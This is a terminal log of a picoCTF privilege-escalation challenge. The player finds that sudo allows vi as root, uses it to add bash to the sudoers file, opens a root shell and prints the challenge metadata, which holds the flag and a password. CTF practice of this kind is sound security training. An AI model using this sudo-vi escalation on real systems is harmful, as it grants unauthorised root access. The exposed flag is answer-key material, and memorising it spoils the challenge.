70 lines
3.2 KiB
Plaintext
70 lines
3.2 KiB
Plaintext
|
$ ssh -o StrictHostKeychecking=no -p 50911 picoplayer@saturn.picoctf.net
|
||
|
|
picoplayer@saturn.picoctf.net's password:
|
||
|
|
Warning: Permanently added '[saturn.picoctf.net]:50911' (ED25519) to the list of known hosts.
|
||
|
|
picoplayer@saturn.picoctf.net's password:
|
||
|
|
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 6.5.0-1023-aws x86_64)
|
||
|
|
|
||
|
|
* Documentation: https://help.ubuntu.com
|
||
|
|
* Management: https://landscape.canonical.com
|
||
|
|
* Support: https://ubuntu.com/advantage
|
||
|
|
|
||
|
|
This system has been minimized by removing packages and content that are
|
||
|
|
not required on a system that users do not log into.
|
||
|
|
|
||
|
|
To restore this content, you can run the 'unminimize' command.
|
||
|
|
|
||
|
|
The programs included with the Ubuntu system are free software;
|
||
|
|
the exact distribution terms for each program are described in the
|
||
|
|
individual files in /usr/share/doc/*/copyright.
|
||
|
|
|
||
|
|
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
|
||
|
|
applicable law.
|
||
|
|
|
||
|
|
picoplayer@challenge:~$ ls -la /
|
||
|
|
total 0
|
||
|
|
drwxr-xr-x 1 root root 74 Sep 6 18:11 .
|
||
|
|
drwxr-xr-x 1 root root 74 Sep 6 18:11 ..
|
||
|
|
-rwxr-xr-x 1 root root 0 Sep 6 18:11 .dockerenv
|
||
|
|
lrwxrwxrwx 1 root root 7 Mar 8 2023 bin -> usr/bin
|
||
|
|
drwxr-xr-x 2 root root 6 Apr 15 2020 boot
|
||
|
|
d--------- 1 root root 27 Aug 4 2023 challenge
|
||
|
|
drwxr-xr-x 5 root root 340 Sep 6 18:11 dev
|
||
|
|
drwxr-xr-x 1 root root 23 Sep 6 18:11 etc
|
||
|
|
drwxr-xr-x 1 root root 24 Aug 4 2023 home
|
||
|
|
lrwxrwxrwx 1 root root 7 Mar 8 2023 lib -> usr/lib
|
||
|
|
lrwxrwxrwx 1 root root 9 Mar 8 2023 lib32 -> usr/lib32
|
||
|
|
lrwxrwxrwx 1 root root 9 Mar 8 2023 lib64 -> usr/lib64
|
||
|
|
lrwxrwxrwx 1 root root 10 Mar 8 2023 libx32 -> usr/libx32
|
||
|
|
drwxr-xr-x 2 root root 6 Mar 8 2023 media
|
||
|
|
drwxr-xr-x 2 root root 6 Mar 8 2023 mnt
|
||
|
|
drwxr-xr-x 2 root root 6 Mar 8 2023 opt
|
||
|
|
dr-xr-xr-x 392 nobody nogroup 0 Sep 6 18:11 proc
|
||
|
|
drwx------ 1 root root 43 Sep 6 18:22 root
|
||
|
|
drwxr-xr-x 1 root root 66 Sep 6 18:22 run
|
||
|
|
lrwxrwxrwx 1 root root 8 Mar 8 2023 sbin -> usr/sbin
|
||
|
|
drwxr-xr-x 2 root root 6 Mar 8 2023 srv
|
||
|
|
dr-xr-xr-x 13 nobody nogroup 0 Sep 6 18:11 sys
|
||
|
|
drwxrwxrwt 1 root root 6 Aug 4 2023 tmp
|
||
|
|
drwxr-xr-x 1 root root 18 Mar 8 2023 usr
|
||
|
|
drwxr-xr-x 1 root root 17 Mar 8 2023 var
|
||
|
|
picoplayer@challenge:~$ sudo -l
|
||
|
|
[sudo] password for picoplayer:
|
||
|
|
Matching Defaults entries for picoplayer on challenge:
|
||
|
|
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
|
||
|
|
|
||
|
|
User picoplayer may run the following commands on challenge:
|
||
|
|
(ALL) /usr/bin/vi
|
||
|
|
picoplayer@challenge:~$ sudo vi /etc/sudoers.d/
|
||
|
|
README picoplayer
|
||
|
|
picoplayer@challenge:~$ sudo vi /etc/sudoers.d/picoplayer
|
||
|
|
picoplayer@challenge:~$ sudo -l
|
||
|
|
Matching Defaults entries for picoplayer on challenge:
|
||
|
|
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
|
||
|
|
|
||
|
|
User picoplayer may run the following commands on challenge:
|
||
|
|
(ALL) /usr/bin/vi
|
||
|
|
(ALL) /usr/bin/bash
|
||
|
|
picoplayer@challenge:~$ sudo bash
|
||
|
|
root@challenge:/home/picoplayer# cat /challenge/metadata.json
|
||
|
|
{"flag": "picoCTF{uS1ng_v1m_3dit0r_f6ad392b}", "username": "picoplayer", "password": "e3pn6lmvHt"}root@challenge:/home/picoplayer#
|